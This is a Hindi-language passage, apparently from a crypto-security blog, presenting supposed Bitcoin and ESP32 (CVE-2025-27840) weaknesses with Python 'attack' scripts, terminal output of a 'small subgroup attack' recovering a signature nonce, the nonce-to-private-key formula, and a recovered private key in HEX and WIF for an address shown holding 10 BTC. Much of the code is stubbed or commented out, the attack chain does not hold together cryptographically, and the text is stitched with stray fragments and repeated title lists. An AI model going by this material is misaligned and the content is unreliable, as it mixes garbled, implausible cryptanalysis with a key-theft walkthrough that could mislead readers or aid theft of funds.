    • इंगित करता है कि हमलावर नोड का कमजोर API के लिए परीक्षण कर रहा है।
    • डेटा को utf-8 प्रारूप में एन्कोड करता है।
    • डेटा हैश करने के लिए bin_ripemd160को कॉल करता है।
    • इंगित करता है कि डेटा हैश हो गया है और हैश मान दिखाता है।
    • यदि हैश एक नकली हैश है (20 बाइट्स शून्य), तो चेतावनी देता है कि नोड RIPEMD160 का कमजोर या कस्टम इम्प्लीमेंटेशन उपयोग कर रहा है, जिससे हैश टकराव या अन्य कमजोरियाँ हो सकती हैं।
  4. उपयोग का उदाहरण:
    • ब्लॉक if __name__ == "__main__":में, यह नमूना डेटा निर्दिष्ट करता है और उस डेटा के साथ check_for_weak_apiको कॉल करता है।

यह कैसे काम करता है:

  1. हमले का अनुकरण:
    • स्क्रिप्ट एक हमलावर का अनुकरण करती है जो Bitcoin नेटवर्क में उन नोड्स की पहचान करने की कोशिश करता है जो पुराने या कमजोर RIPEMD160 हैशिंग API का उपयोग कर रहे हैं।
  2. RIPEMD160 इम्प्लीमेंटेशन जाँच:
    • यह RIPEMD160 हैशिंग के लिए मानक लाइब्रेरी hashlibका उपयोग करने की कोशिश करता है। यदि यह विफल हो जाता है (क्योंकि hashlibविशेष वातावरण RIPEMD160 का समर्थन नहीं करता है), तो यह कस्टम इम्प्लीमेंटेशन का सहारा लेता है (जो इस उदाहरण में एक सरलीकृत संस्करण है)।
  3. कमजोरियों की पहचान:
    • कस्टम इम्प्लीमेंटेशन (इस उदाहरण में) जानबूझकर कमजोर है। यदि कोई नोड इस इम्प्लीमेंटेशन का उपयोग करता है तो हमलावर इस कमजोरी का फायदा उठा सकता है।
  4. संभावित जोखिम:
    • हैश टकराव: RIPEMD160 हैश का एक कमजोर इम्प्लीमेंटेशन हैश टकराव के प्रति संवेदनशील हो सकता है। हमलावर इसका उपयोग लेनदेन या डेटा के साथ छेड़छाड़ करने के लिए कर सकता है।
    • सुरक्षा कमजोरियाँ: पुराने (deprecated) API में ज्ञात कमजोरियाँ हो सकती हैं जिनका हमलावर फायदा उठा सकता है।

इसे कैसे कम करें:

  1. वर्तमान लाइब्रेरीज़ का उपयोग करना:
    • सुनिश्चित करें कि आप क्रिप्टोग्राफ़िक कार्यों के लिए अद्यतित और परीक्षणित लाइब्रेरीज़ का उपयोग कर रहे हैं।
    • यदि RIPEMD160 की आवश्यकता है, तो एक विश्वसनीय और अद्यतित इम्प्लीमेंटेशन का उपयोग करें।
  2. नियमित अपडेट:
    • सुरक्षा सुधारों और सुधारों से लाभ पाने के लिए अपने Bitcoin सॉफ़्टवेयर को अद्यतित रखें।
  3. सत्यापन:
    • यह सुनिश्चित करने के लिए कि वे अपेक्षित मानकों को पूरा करते हैं, हमेशा क्रिप्टोग्राफ़िक कार्यों के आउटपुट की जाँच करें।

फ़ंक्शन multiply में कमजोरी: ECC वक्र पर बिंदु की जाँच न होना

Bitcoin के फ़ंक्शन  multiply में ECC वक्र पर बिंदुओं के अपर्याप्त सत्यापन के कारण एक संभावित कमजोरी है। यह हमलावर को अमान्य वक्र हमले (invalid curve attacks) करने की अनुमति दे सकता है, हालाँकि  pycryptodomeजैसी आधुनिक क्रिप्टोग्राफ़िक लाइब्रेरीज़ ऐसे शोषण को कठिन बना देती हैं। यह हमला Jacobian वक्र में हेरफेर के माध्यम से संभव है, जिससे जाली हस्ताक्षर और नेटवर्क में हेरफेर हो सकता है।


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetoothhttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275

Bitcoin नेटवर्क में, एक हमलावर फ़ंक्शन  multiplyमें एक कमजोरी पा सकता है, जिसमें यह पूरी तरह से जाँच नहीं करता कि कोई बिंदु एक अण्डाकार वक्र (ECC) पर है या नहीं। कोड में, जाँच केवल गैर-शून्य बिंदुओं के लिए की जाती है, जो अमान्य वक्रों (invalid curve attacks)का उपयोग करने वाले हमलों की संभावना खोलता है।

हमलावर का नमूना कोड दिखाता है कि इस कमजोरी का शोषण कैसे किया जा सकता है। यह एक  multiplyफ़ंक्शन प्रदर्शित करता है जिसमें वक्र पर बिंदु की विश्वसनीय जाँच का अभाव है, और एक  invalid_curve_attackफ़ंक्शन जो इस कमजोरी का फायदा उठाने का प्रयास करता है। कोड क्रिप्टोग्राफ़िक कार्यों के लिए  pycryptodome लाइब्रेरी का भी उपयोग करता है।

निर्मित सुरक्षा तंत्रों के कारण  pycryptodome में ऐसे हमलों को सीधे करना कठिन है। कोड दिखाता है कि कैसे कोई व्यक्ति एक “गलत” वक्र बना सकता है और गुणा करने का प्रयास कर सकता है, लेकिन इस बात पर जोर दिया गया है कि यह असुरक्षित है और इसके लिए क्रिप्टोग्राफी की गहरी समझ की आवश्यकता है।


फ़ंक्शन multiply में एक कमजोरी का शोषण करके, एक हमलावर Bitcoin नेटवर्क पर निजी कुंजियों से समझौता करने के लिए एक अमान्य वक्र हमला कर सकता है। नीचे इस हमले को प्रदर्शित करने वाली एक नमूना Python स्क्रिप्ट दी गई है।


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

Python स्क्रिप्ट ecdsa_curve_attack.py

root@kitploit:~
!pip install pycryptodome 
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *

class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)

def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature

def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False

def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()

# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve

# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.

#Performing multiplication
result = privkey.d * pubkey.pointQ

return result

# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])

# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)

# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)

कोड स्पष्टीकरण:

  • कमजोरी: फ़ंक्शन multiplyकेवल तब जाँच करता है कि कोई बिंदु ECC वक्र पर है, जब वह अनंत बिंदु न हो। यह उन बिंदुओं का उपयोग करने की अनुमति देता है जो मुख्य वक्र पर नहीं हैं, बल्कि ट्विस्ट वक्र पर हैं।
  • अमान्य वक्र हमला: इस हमले में गुप्त कुंजी के बारे में जानकारी प्राप्त करने के लिए किसी अन्य वक्र (malformed curve) पर एक बिंदु का उपयोग शामिल है। चूँकि सभी बिंदुओं के लिए वक्र जाँच नहीं की जाती है, इसलिए किसी अन्य वक्र से एक बिंदु पास करना और परिणाम का उपयोग करके गुप्त कुंजी के हिस्से को पुनर्प्राप्त करना संभव है।
  • फ़ंक्शन invalid_curve_attack: यह फ़ंक्शन एक सार्वजनिक कुंजी और विकृत वक्र पैरामीटर लेता है। यह विकृत वक्र पर एक बिंदु बनाता है और गुणा करने के लिए कमजोर फ़ंक्शन multiplyका उपयोग करता है।

स्मॉल सबग्रुप हमला कैसे काम करता है:

  1. कम-ऑर्डर बिंदु का चयन: हमलावर वक्र पर या वक्र के ट्विस्ट पर एक Qकम-ऑर्डर बिंदु चुनता है।
  2. बिंदु भेजना: हमलावर इस बिंदु Qको पीड़ित को अपनी सार्वजनिक कुंजी के रूप में भेजता है।
  3. साझा गुप्त मान की गणना: पीड़ित nQकी गणना करता है, जहाँ n पीड़ित की गुप्त कुंजी है।
  4. ब्रूट-फोर्स: चूँकि Qका ऑर्डर छोटा है, इसलिए nQ के लिए संभावित मानों की संख्या कम होती है। हमलावर इन सभी मानों पर ब्रूट-फोर्स कर सकता है और Qके ऑर्डर modulo nका विस्तार करके यह देख सकता है कि कौन सा मान एन्क्रिप्टेड डेटा से मेल खाता है।

अनुशंसाएँ:

  • हमेशा जाँच करें कि इनपुट बिंदु वास्तव में ECC वक्र पर हैं।
  • ऐसी लाइब्रेरीज़ का उपयोग करें जो मजबूत वक्र जाँच और अमान्य वक्र हमलों से सुरक्षा प्रदान करती हैं।

स्मॉल सबग्रुप हमला

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

एक कमजोर RawTX लेनदेन को SMALL SUBGROUP ATTACK सेवा फ़ंक्शन का उपयोग करके डिकोड करें


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

परिणाम मान K गुप्त कुंजी Nonce का है, जो HEX प्रारूप में होता है

root@kitploit:~
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2

कमजोर RawTX लेनदेन से अन्य सभी मान प्राप्त करने के लिए, हम RSZ Signature Decoder सेवा का उपयोग करेंगे।

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

R, S, Z के लिए परिणाम मान HEX प्रारूप में

root@kitploit:~
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8

निजी कुंजी का मान X सूत्र: priv_key = ((((S * K) - Z) * modinv(R, N)) % N)से प्राप्त करने के लिए, हम Dockeyhunt Private Key Calculator सॉफ़्टवेयर का उपयोग करेंगे।

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi & Bluetooth

परिणामस्वरूप, हमें X निजी कुंजी का मान HEX प्रारूपमें प्राप्त होता है

root@kitploit:~
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

आइए मशीन लर्निंग का उपयोग करके प्राप्त निजी कुंजी परिणाम की जाँच करें

आइए BitcoinChatGPT लॉन्च करें

root@kitploit:~
%run BitcoinChatGPT
root@kitploit:~
Apply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency

बिटकॉइन क्रिप्टोविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 कमजोरी Wi-Fi Bluetooth के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है

अंत में, BitcoinChatGPT मॉड्यूल प्रतिक्रिया को फ़ाइल में आउटपुट करता है: KEYFOUND.privkey जो निजी कुंजी को दो सबसे अधिक उपयोग किए जाने वाले प्रारूपों HEX & WIFमें संग्रहीत करता है

https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey


root@kitploit:~
============================= KEYFOUND.privkey =============================

Private Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ

Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ

Balance: 10.00000000 BTC

============================= KEYFOUND.privkey =============================

कोड को लागू करने के लिए, हम Bitcoin पैकेज स्थापित करेंगे। यह लाइब्रेरी आपको वॉलेट बनाने, ब्लॉकचेन के साथ इंटरैक्ट करने, लेनदेन बनाने और साइन करने तथा Bitcoin क्रिप्टोकरेंसी के विभिन्न पते प्रारूपों और निजी कुंजियों के साथ काम करने की अनुमति देती है।

root@kitploit:~
!pip3 install bitcoin

आइए  कोड  चलाएँ ताकि Bitcoin पते की मिलान जाँची जा सके:

बिटकॉइन क्रिप्टोविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 कमजोरी Wi-Fi और Bluetooth के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है
root@kitploit:~
__________________________________________________

Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received 	= 10.00000000 Bitcoin
__________________________________________________

बिल्कुल सही! निजी कुंजी Bitcoin वॉलेट से मेल खाती है।


आइए  bitaddress  खोलें और जाँचें:

root@kitploit:~
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF:  5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX:  12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
बिटकॉइन क्रिप्टोविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 कमजोरी Wi-Fi और Bluetooth के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है

परिणाम और खतरे को कम करने के कदम

आज के डिजिटल परिवेश में, उपकरणों और नेटवर्क की सुरक्षा महत्वपूर्ण है। यह पेपर विभिन्न घटकों में पाई गई कई कमजोरियों का विश्लेषण करता है, जिनमें ESP32 डिवाइस और Bitcoin जैसी क्रिप्टोकरेंसी के साथ काम करने के लिए सॉफ्टवेयर शामिल हैं। हम निजी कुंजी सत्यापन कोड, लेनदेन हैशिंग विधियों, यादृच्छिक कुंजी निर्माण, ECC वक्र बिंदु सत्यापन, Y-निर्देशांक पुनर्प्राप्ति और विरासत हैशिंग API में दोषों की जाँच करते हैं। ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 कमजोरी पर विशेष ध्यान दिया गया है, जो हमलावरों को नकली अपडेट इंजेक्ट करने और सिस्टम तक निम्न-स्तरीय पहुँच प्राप्त करने की अनुमति देती है। इन कमजोरियों के संभावित प्रभावों पर चर्चा की गई है, जिसमें कोड ऑडिट नियंत्रणों को बायपास करने, निजी कुंजियों तक पहुँच प्राप्त करने और सप्लाई चेन हमले करने की क्षमता शामिल है। पेपर सुरक्षा को मजबूत करने और संभावित हमलों को रोकने के लिए सिफारिशों के साथ समाप्त होता है।

प्रासंगिकता

अरबों डिवाइस अब एकल घटक में छिपे डिज़ाइन दोषों के प्रति संवेदनशील हो सकते हैं, जिसे CVE-2025-27840 के रूप में पहचाना गया है। ये कमजोरियाँ हमलावरों को MAC पते बदलने, डिवाइस मेमोरी तक अनधिकृत पहुँच प्राप्त करने और Bluetooth के माध्यम से हमले करने की अनुमति दे सकती हैं।

कमजोरियाँ और उनका विश्लेषण

  • has_invalid_privkey में निजी कुंजी व्युत्पत्ति कमजोरी : Bitcoin निजी कुंजियों के लिए निचली सीमा जाँच की कमी अमान्य कुंजियों (0 से कम या बराबर) के उपयोग की अनुमति देती है, जिससे धन की हानि हो सकती है।
  • electrum_sig_hash फ़ंक्शन में Bitcoin लेनदेन हस्ताक्षर जालसाजी कमजोरी : Electrum द्वारा गैर-मानक संदेश हैशिंग विधि का उपयोग इसे BIP-137 के साथ असंगति के कारण हस्ताक्षर जालसाजी हमलों के प्रति संवेदनशील बनाता है।
  • random_key फ़ंक्शन कमजोरी (कुंजी निर्माण में कमजोर PRNG) : Bitcoin नेटवर्क में random कुंजी निर्माण मॉड्यूल का उपयोग निजी कुंजियों को हमलावरों के लिए अनुमान योग्य बनाता है, क्योंकि यह मॉड्यूल क्रिप्टोग्राफ़िक उद्देश्यों के लिए नहीं है।
  • multiply फ़ंक्शन में कमजोरी (ECC वक्र बिंदु सत्यापन की कमी) : ECC वक्र में बिंदुओं का अपर्याप्त सत्यापन हमलावर को अमान्य वक्र हमले करने की अनुमति दे सकता है, जिससे जाली हस्ताक्षर और नेटवर्क हेरफेर हो सकते हैं।
  • ecdsa_raw_sign फ़ंक्शन में कमजोरी : Y-निर्देशांक का गलत पुनर्स्थापन Bitcoin नेटवर्क में सार्वजनिक कुंजी के प्रतिस्थापन का कारण बन सकता है।
  • bin_ripemd160 फ़ंक्शन कमजोरी : विरासत हैशिंग API, विशेष रूप से वे जिनमें RIPEMD-160 का अभाव है, हमलों के प्रति संवेदनशील हो सकते हैं, जो अद्यतन क्रिप्टोग्राफ़िक लाइब्रेरीज़ और नियमित सुरक्षा अपडेट के उपयोग के महत्व को उजागर करता है।

बिटकॉइन क्रिप्टोविश्लेषण: ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 कमजोरी Wi-Fi और Bluetooth के माध्यम से अरबों IoT उपकरणों को जोखिम में डालती है

कमजोरियों की पहचान और सुधार के लाभ

  1. वित्तीय हानियों को रोकना : निजी कुंजियों और हस्ताक्षर जालसाजी से संबंधित कमजोरियों को ठीक करना क्रिप्टोकरेंसी उपयोगकर्ताओं को धन हानि से बचाने में मदद करता है।
  2. गोपनीय डेटा की सुरक्षा : ESP32 उपकरणों में कमजोरियों को ठीक करना अनधिकृत मेमोरी एक्सेस और MAC पता स्पूफिंग को रोकता है, जो उपयोगकर्ताओं के गोपनीय डेटा की रक्षा करता है।
  3. नेटवर्क सुरक्षा में सुधार : random_key और ecdsa_raw_sign जैसे क्रिप्टोग्राफ़िक फ़ंक्शनों में कमजोरियों को ठीक करना Bitcoin नेटवर्क की समग्र सुरक्षा में सुधार करता है और लेनदेन तथा हस्ताक्षरों पर संभावित हमलों को रोकता है।
  4. उपयोगकर्ता विश्वास का निर्माण : कमजोरियों की समय पर पहचान और समाधान उपकरणों और सॉफ्टवेयर में उपयोगकर्ता का विश्वास बनाने में मदद करता है, जो विशेष रूप से क्रिप्टोकरेंसी और IoT क्षेत्र में महत्वपूर्ण है।
  5. सुरक्षा मानकों को बनाए रखना : क्रिप्टोग्राफ़िक लाइब्रेरीज़ और API को अद्यतन रखना और आधुनिक सुरक्षा मानकों का पालन करना पुराने और कमजोर घटकों के उपयोग को रोकने में मदद करता है।

निष्कर्ष

इस पेपर में प्रस्तुत कमजोरियों की पहचान और विश्लेषण उपकरण और सॉफ्टवेयर सुरक्षा की निरंतर निगरानी और सुधार की आवश्यकता को उजागर करता है। इन कमजोरियों का समाधान न केवल संभावित हमलों और वित्तीय हानियों को रोकता है, बल्कि उपयोगकर्ता का विश्वास बनाने और सुरक्षा मानकों का पालन करने में भी मदद करता है। मजबूत सुरक्षा तंत्र लागू करना और नियमित सुरक्षा अपडेट डिजिटल प्रणालियों के सुरक्षित और विश्वसनीय संचालन को सुनिश्चित करने के लिए महत्वपूर्ण हैं। ESP32 जैसे उपकरणों और नेटवर्कों में सुरक्षा में सुधार की आवश्यकता तेजी से जरूरी होती जा रही है।


संदर्भ:

  1. Bitcoin कोड और ESP32 उपकरणों में कमजोरियों को दूर करने के लिए सिफारिशें
  2. Bitcoin कार्यान्वयन में कमजोरियाँ: random_key और ecdsa_raw_sign में कमजोरियाँ सुरक्षा से कैसे समझौता करती हैं
  3. has_invalid_privkey फ़ंक्शन कमजोरी का विश्लेषण: Bitcoin निजी कुंजी सत्यापन की समस्याएं और सुधार के लिए सिफारिशें
  4. सार्वजनिक कुंजी प्रतिस्थापन: ecdsa_raw_sign फ़ंक्शन की कमजोरी, Y-निर्देशांक पुनर्प्राप्ति से जुड़े जोखिम, कमजोरी प्रदर्शित करने के लिए कोड उदाहरण
  5. Bitcoin सुरक्षा: गलत ECC सत्यापन और अप्रचलित हैशिंग API से जुड़े जोखिमों की जाँच
  6. सुरक्षा जोखिम विश्लेषण: ESP32 उपकरणों और Bitcoin नेटवर्क में कमजोरियाँ
  7. Bitcoin में अप्रचलित हैशिंग API: bin_ripemd160 फ़ंक्शन की कमजोरियाँ
  8. नकली अपडेट और निजी कुंजियों तक पहुँच: ESP32 कमजोरियाँ और उनके परिणाम
  9. Bitcoin सुरक्षा जोखिम: कुंजी सत्यापन और लेनदेन निर्माण फ़ंक्शनों में कमजोरियाँ
  10. कुंजी निर्माण की समस्याएं: random_key फ़ंक्शन कमजोरी, कमजोर स्यूडो-रैंडम नंबर जनरेटर और इसके परिणाम
  11. Bitcoin में क्रिप्टोग्राफ़िक फ़ंक्शनों की कमियाँ और नेटवर्क के लिए संभावित खतरे
  12. अण्डाकार वक्र पर हमले: multiply फ़ंक्शन कमजोरी, ECC वक्र पर बिंदुओं का अपर्याप्त सत्यापन, संभावित हमले के वेक्टर
  13. वर्तमान क्रिप्टोग्राफ़िक लाइब्रेरीज़ और नियमित अपडेट का महत्व निष्कर्ष: नेटवर्क और उपकरणों में सुरक्षा सुधारने की आवश्यकता
  • अविश्वसनीय PRNG का उपयोग करने के जोखिम, Bitcoin में अपर्याप्त ECC पॉइंट सत्यापन: multiply फ़ंक्शन भेद्यता
  • Bitcoin में भेद्यताओं का अवलोकन: निजी कुंजियों और लेनदेन के लिए संभावित जोखिम
  • ESP32 और Bitcoin का महत्वपूर्ण सुरक्षा विश्लेषण: भेद्यताएँ और सुरक्षा के तरीके
  • अप्रचलित हैशिंग API: bin_ripemd160 फ़ंक्शन भेद्यता, RIPEMD-160 कार्यान्वयन के साथ समस्याएँ, वर्तमान क्रिप्टोग्राफ़िक लाइब्रेरीज़ का महत्व
  • electrum_sig_hash फ़ंक्शन की भेद्यता: Bitcoin लेनदेन हस्ताक्षर जालसाज़ी, गैर-मानक हैशिंग विधि और इसके परिणाम, BIP-137 के साथ असंगतता पर आधारित हमलों के उदाहरण
  • Bitcoin कार्यान्वयन में भेद्यताओं का विश्लेषण: कुंजी निर्माण से लेकर हस्ताक्षर जालसाज़ी तक
  • CVE-2025-27840: ESP32 में भेद्यता, जो अनधिकृत फ़र्मवेयर अपडेट और निजी कुंजियों तक पहुँच की अनुमति देती है
  • Bitcoin निजी कुंजी सत्यापन में भेद्यता: निचली सीमा नियंत्रण को बायपास करना

  • Bitcoin क्रिप्टैनालिसिस: CVE-2025-27840 ESP32 माइक्रोकंट्रोलर्स में भेद्यता Wi-Fi & ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती है


    यह सामग्री  CRYPTO DEEP TECH पोर्टल  के लिए बनाई गई थी ताकि वित्तीय डेटा सुरक्षा और दीर्घवृत्तीय वक्रों पर क्रिप्टोग्राफी सुनिश्चित की जा सके  secp256k1  कमजोर के विरुद्ध  ECDSA हस्ताक्षरों  में  BITCOIN क्रिप्टोकरेंसी . सॉफ़्टवेयर के निर्माता सामग्री के उपयोग के लिए ज़िम्मेदार नहीं हैं।


    स्रोत कोड

    Google Colab

    BitcoinChatGPT

    छोटा उपसमूह आक्रमण

    Dockeyhunt डीप लर्निंग

    Telegram: https://t.me/cryptodeeptech

    वीडियो सामग्री: https://youtu.be/nBeZWm2z5o4

    वीडियो ट्यूटोरियल: https://dzen.ru/video/watch/6784be61b09e46422395c236

    स्रोत: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks


    Bitcoin क्रिप्टैनालिसिस: CVE-2025-27840 ESP32 माइक्रोकंट्रोलर्स में भेद्यता Wi-Fi और ब्लूटूथ के माध्यम से अरबों IoT डिवाइसों को जोखिम में डालती है

    टूल डाउनलोड करें
  •  privkey की जांच करने के लिए has_invalid_privkey फ़ंक्शन को कॉल करता है।
  • परिणाम के आधार पर, यह एक संदेश प्रदर्शित करता है जो दर्शाता है कि निजी कुंजी मान्य है या नहीं।



































  • import hashlib import binascii # RIPEMD160 implementation (if hashlib doesn't have it) class RIPEMD160: def __init__(self, data): self.data = data def digest(self): # This is a placeholder. In a real implementation, you would perform the RIPEMD160 hashing algorithm. # For demonstration purposes, we will return a dummy hash. return b'\x00' * 20 # Returns 20 bytes of zeros def bin_ripemd160(string): """ Hashes the input string using RIPEMD160. It attempts to use hashlib's implementation first and falls back to a custom implementation if necessary. """ try: digest = hashlib.new('ripemd160', string).digest() except ValueError: print("RIPEMD160 not supported in hashlib, falling back to custom implementation.") digest = RIPEMD160(string).digest() return digest def check_for_weak_api(data): """ Simulates an attacker probing a Bitcoin network node for weak API implementations. """ print("Attacker: Probing node for weak API...") # Simulate data that needs to be hashed (e.g., part of a transaction) data_to_hash = data.encode('utf-8') # Attempt to hash the data using RIPEMD160 hashed_data = bin_ripemd160(data_to_hash) print("Attacker: Data hashed (potentially using a weak or custom RIPEMD160 implementation).") print("Attacker: Hash value:", binascii.hexlify(hashed_data).decode('utf-8')) # Here, an attacker would potentially exploit the weak implementation. # For demonstration, we'll just print a warning. if hashed_data == b'\x00' * 20: # This is the dummy hash from our custom RIPEMD160 print("Attacker: WARNING: Node is using a weak or custom RIPEMD160 implementation!") print("Attacker: EXPLOITABLE: This could allow for hash collisions or other vulnerabilities.") else: print("Attacker: Node appears to be using a standard RIPEMD160 implementation.") # Example usage: if __name__ == "__main__": data = "Example Bitcoin transaction data" check_for_weak_api(data)



































  • अमान्य वक्रों का उपयोग करके संभावित हमले सार्वजनिक कुंजी प्रतिस्थापन: ecdsa_raw_sign फ़ंक्शन की कमजोरी
  • कमजोरियों को दूर करने और सुरक्षा में सुधार के लिए सिफारिशें प्रत्येक शीर्षक लेख के प्रमुख पहलुओं को दर्शाता है और शोध को संरचित करने के लिए उपयोग किया जा सकता है
  • Bitcoin कुंजी निर्माण में कमजोर PRNG: गैर-नियतात्मक random_key का उपयोग करने के परिणाम
  • CVE-2025-27840 कमजोरी का विश्लेषण: वास्तुशिल्प दोष अरबों उपकरणों को कैसे खतरे में डाल सकते हैं has_invalid_privkey फ़ंक्शन की कमजोरी
  • IoT उपकरणों की सुरक्षा पर ESP32 माइक्रोकंट्रोलर में कमजोरियों का प्रभाव
  • ESP32 माइक्रोकंट्रोलर में कमजोरियों का शोषण करने के तरीके: Bluetooth और Wi-Fi के माध्यम से हमले
  • ESP32 में छिपी कमजोरियाँ और IoT उपकरणों की सुरक्षा पर उनका प्रभाव
  • ESP32 उपकरणों में सुरक्षा मुद्दे: CVE-2025-27840 कमजोरी का खुलासा
  • ESP32 वास्तुशिल्प कमजोरियाँ: छिपे हुए कमांडों का खुलासा और IoT सुरक्षा पर उनका प्रभाव
  • Bitcoin कोड में कमजोरियाँ: तकनीकी विश्लेषण और शोषण के तरीके
  • Bitcoin में कमजोरियों का विश्लेषण: क्रिप्टोग्राफ़िक कमियों से लेकर अप्रचलित API तक
  • ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 कमजोरियाँ: अरबों IoT उपकरणों को जोखिम में उजागर करना
  • गैर-मानक हैशिंग विधियाँ और उनकी कमजोरियाँ कुंजी निर्माण की समस्याएं: random_key कमजोरी
  • Bitcoin multiply फ़ंक्शन में संभावित कमजोरी के रूप में ECC बिंदु सत्यापन की कमी
  • अण्डाकार-वक्र क्रिप्टोग्राफी में Y-निर्देशांक पुनर्प्राप्ति के जोखिम अप्रचलित हैशिंग API: bin_ripemd160 फ़ंक्शन कमजोरी
  • ecdsa_raw_sign फ़ंक्शन में कमजोरी: Y-निर्देशांक पुनर्प्राप्ति के दौरान सार्वजनिक कुंजी प्रतिस्थापन का जोखिम
  • छिपी कमजोरियाँ: आधुनिक तकनीकों के लिए खतरा CVE-2025-27840: ESP32 वास्तुकला में कमजोरियों का अवलोकन
  • वर्तमान सुरक्षा खतरों का अवलोकन छिपी कमजोरियों की सूची: ESP32 के लिए संभावित जोखिम नकली अपडेट और निम्न-स्तरीय पहुँच का कार्यान्वयन
  • निजी कुंजी सत्यापन की समस्याएं और उनके परिणाम लेनदेन हस्ताक्षरों की जालसाजी: electrum_sig_hash कमजोरी
  • Electrum में गैर-मानक हैशिंग के कारण Bitcoin लेनदेन हस्ताक्षर जालसाजी की कमजोरी